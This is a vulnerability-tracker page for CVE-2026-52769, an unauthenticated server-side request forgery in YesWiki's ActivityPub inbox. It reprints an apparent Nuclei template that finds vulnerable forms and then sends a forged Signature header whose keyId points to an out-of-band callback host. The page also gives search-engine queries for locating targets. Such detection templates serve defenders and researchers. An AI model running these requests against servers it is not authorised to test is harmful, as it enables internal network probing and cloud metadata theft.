CVE-2026-52769: YesWiki 4.6.2 - 4.6.5 - Unauthenticated Server-Side Request Forgery

2026-11-29 PoC Public

Description

YesWiki versions 4.6.2 through 4.6.5 contain an unauthenticated server-side request forgery in the ActivityPub inbox of Bazar forms. The public POST /api/forms/{formId}/actor/inbox route passes the Signature header to HttpSignatureService::verifySignature(), which sends a GET request to the attacker-controlled keyId URL before any signature or URL validation. Exploitation requires ActivityPub to be enabled on at least one Bazar form.

Details

CVE
CVE-2026-52769 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-52769

info:
  name: YesWiki 4.6.2 - 4.6.5 - Unauthenticated Server-Side Request Forgery
  author: s4e-io
  severity: high
  description: |
    YesWiki versions 4.6.2 through 4.6.5 contain an unauthenticated server-side request forgery in the ActivityPub inbox of Bazar forms. The public POST /api/forms/{formId}/actor/inbox route passes the Signature header to HttpSignatureService::verifySignature(), which sends a GET request to the attacker-controlled keyId URL before any signature or URL validation. Exploitation requires ActivityPub to be enabled on at least one Bazar form.
  impact: |
    Unauthenticated attackers can make the YesWiki server send HTTP requests to arbitrary internal or external hosts, which allows internal service discovery and access to cloud metadata endpoints.
  remediation: |
    Upgrade YesWiki to version 4.6.6 or later, or disable ActivityPub on all Bazar forms.
  reference:
    - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-vw42-752g-5mrp
    - https://github.com/YesWiki/yeswiki/commit/87e627f33e79879827a3669fee2aa1244612c487
    - https://nvd.nist.gov/vuln/detail/CVE-2026-52769
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cve-id: CVE-2026-52769
    epss-score: 0.01011
    epss-percentile: 0.62251
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 2
    vendor: yeswiki
    product: yeswiki
    shodan-query: http.html:"YesWiki"
    fofa-query: body="YesWiki"
  tags: cve,cve2026,yeswiki,ssrf,oast,activitypub,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /?api/forms HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"bn_id_nature\"")'
          - 'contains(body, "\"bn_activitypub_enable\":\"1\"")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: formid
        part: body
        json:
          - 'first(.[] | select(.bn_activitypub_enable == "1") | .bn_id_nature)'
        internal: true

  - raw:
      - |
        POST /?api/forms/{{formid}}/actor/inbox HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/activity+json
        Signature: keyId="http://{{interactsh-url}}/actor",algorithm="rsa-sha256",headers="date",signature="{{randstr}}"

        {}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'contains(interactsh_request, "application/ld+json")'
          - 'contains(interactsh_request, "Symfony HttpClient")'
        condition: and
# digest: 4a0a00473045022100effb88ed09cbc1d5dae05c1e65f8ec3166c595058fa614966881a4dd42357e2502203eb1963f374e0c040801b6499dee580ec9c083f149c40b93da128fd0b5e9be7c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life